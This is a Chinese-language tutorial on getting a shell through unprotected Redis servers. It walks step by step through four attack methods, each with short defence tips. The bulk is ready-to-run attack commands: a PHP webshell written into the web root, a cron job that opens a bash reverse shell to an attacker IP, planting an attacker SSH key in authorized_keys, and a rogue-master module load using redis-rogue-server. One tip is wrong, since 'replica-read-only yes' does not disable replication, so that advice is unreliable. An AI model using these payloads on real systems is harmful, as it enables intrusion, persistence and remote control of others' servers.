Redis作为高性能内存数据库,若未正确配置认证和访问控制,可能被攻击者利用实现远程代码执行(GetShell)。本文详细讲解四种常见的Redis GetShell方式,涵盖原理、操作步骤及防御建议。
方式一:直接写入Shell脚本
原理
通过Redis的CONFIG SET
命令修改数据库存储路径和文件名,将恶意脚本写入Web目录,利用Web服务解析执行。
操作步骤
1. 环境准备
- 目标Redis服务未授权访问(绑定
0.0.0.0:6379
且无密码)。 - 已知目标Web服务路径(如
/var/www/html
)。
2. 连接Redis
使用redis-cli
连接目标Redis:
redis-cli -h 目标IP -p 6379
3. 修改Redis配置
通过CONFIG SET
命令设置数据库存储路径和文件名:
CONFIG SET dir /var/www/html # 修改存储路径为Web目录
CONFIG SET dbfilename shell.php # 设置文件名为shell.php
4. 写入恶意脚本
使用SET
命令写入PHP WebShell内容:
SET shell "<?php system($_GET['cmd']);?>"
5. 保存配置
执行SAVE
命令将数据持久化到磁盘:
SAVE
此时/var/www/html/shell.php
文件已生成,可通过浏览器访问http://目标IP/shell.php?cmd=whoami
验证。
防御建议
- 限制Redis访问IP(
bind 127.0.0.1
)。 - 设置强密码(
requirepass
)。 - 禁止Redis写入系统关键目录(如
/var/www
)。
方式二:定时任务写入反弹Shell
原理
通过Redis的CONFIG SET
修改dir
为/var/spool/cron/
(Linux定时任务目录),写入反弹Shell的定时任务,触发后连接攻击机。
操作步骤
1. 环境准备
- 目标Redis未授权访问。
- 目标系统为Linux,且Redis进程有权限写入
/var/spool/cron/
。
2. 连接Redis并修改配置
redis-cli -h 目标IP -p 6379
CONFIG SET dir /var/spool/cron/ # 修改存储路径为cron目录
CONFIG SET dbfilename root # 文件名为root(针对root用户的cron)
3. 写入反弹Shell命令
反弹Shell到攻击机(假设攻击机IP为192.168.1.100
,端口4444
):
SET root "\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.1.100/4444 0>&1\n\n"
注意:
\n\n
用于避免破坏cron文件格式。- 定时任务每分钟执行一次,连接攻击机。
4. 保存配置
SAVE
攻击机监听端口:
nc -lvvp 4444
若连接成功,可执行任意命令(如whoami
)。
防御建议
- 限制Redis对系统目录的写入权限。
- 监控
/var/spool/cron/
目录的异常修改。
方式三:写SSH公钥登录服务器
原理
通过Redis写入~/.ssh/authorized_keys
文件,将攻击者的SSH公钥添加到目标服务器,实现免密登录。
操作步骤
1. 环境准备
- 目标Redis未授权访问。
- 目标服务器开启SSH服务且Redis进程有权限写入
/root/.ssh/
(或当前用户目录)。
2. 生成SSH密钥对
在攻击机上生成密钥对(若已有可跳过):
ssh-keygen -t rsa # 默认保存到~/.ssh/id_rsa.pub
3. 连接Redis并修改配置
redis-cli -h 目标IP -p 6379
CONFIG SET dir /root/.ssh/ # 修改存储路径为.ssh目录
CONFIG SET dbfilename authorized_keys # 文件名为authorized_keys
4. 写入公钥
将公钥内容写入Redis(需替换实际公钥):
SET authorized_keys "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ...攻击机公钥内容..."
5. 保存配置
SAVE
攻击机直接SSH登录目标服务器:
ssh root@目标IP
无需密码即可登录。
防御建议
- 限制Redis对
/root/.ssh/
目录的访问。 - 禁用Redis的
SAVE
命令(通过rename-command SAVE ""
)。
方式四:Redis主从复制GetShell
原理
利用Redis主从复制机制,诱骗目标Redis作为从节点,加载攻击者构造的恶意RDB文件,在加载过程中执行任意代码。
操作步骤
1. 环境准备
- 目标Redis未授权访问。
- 攻击机搭建恶意Redis服务(需编译支持动态模块的Redis版本)。
2. 攻击机生成恶意RDB文件
- 使用
redis-rogue-server
工具(需Python环境)生成包含恶意模块的RDB文件:
工具会自动生成恶意RDB文件并启动监听。git clone https://github.com/n0b0dyCN/redis-rogue-server.git cd redis-rogue-server pip3 install -r requirements.txt python3 redis-rogue-server.py --rhost 目标IP --lhost 攻击机IP
3. 配置目标Redis为主从复制
在攻击机上执行:
redis-cli -h 目标IP -p 6379
SLAVEOF 攻击机IP 6379 # 将目标Redis设为从节点,连接攻击机
CONFIG SET masterauth "" # 若主节点有密码需配置(此处无密码)
目标Redis会尝试从攻击机拉取RDB文件并加载,触发恶意代码执行。
4. 获取反弹Shell
攻击机监听端口(如4444
):
nc -lvvp 4444
目标Redis加载恶意模块后,攻击机将收到反弹Shell。
防御建议
- 禁用主从复制功能(
replica-read-only yes
)。 - 升级Redis至最新版本(修复已知漏洞)。
总结与防护措施
方式 | 关键利用点 | 防御方法 |
---|---|---|
直接写入Shell | 修改dir 和dbfilename |
限制写入目录、设置密码、禁用高危命令 |
定时任务反弹Shell | 写入/var/spool/cron/ |
监控cron目录、限制Redis权限 |
SSH公钥登录 | 写入~/.ssh/authorized_keys |
限制.ssh 目录访问、禁用Redis写入系统文件 |
主从复制GetShell | 加载恶意RDB文件 | 禁用主从复制、升级Redis版本 |
通用防护建议:
- 最小化暴露:禁止Redis绑定公网IP,使用防火墙限制访问源。
- 强认证:设置复杂密码(
requirepass
)。 - 定期审计:检查Redis配置和系统关键目录(如
/var/www
、/root/.ssh/
)。 - 日志监控:记录Redis操作日志,设置异常告警。
通过本文的详细分析,读者可深入理解Redis GetShell的原理及防御方法,提升系统安全性。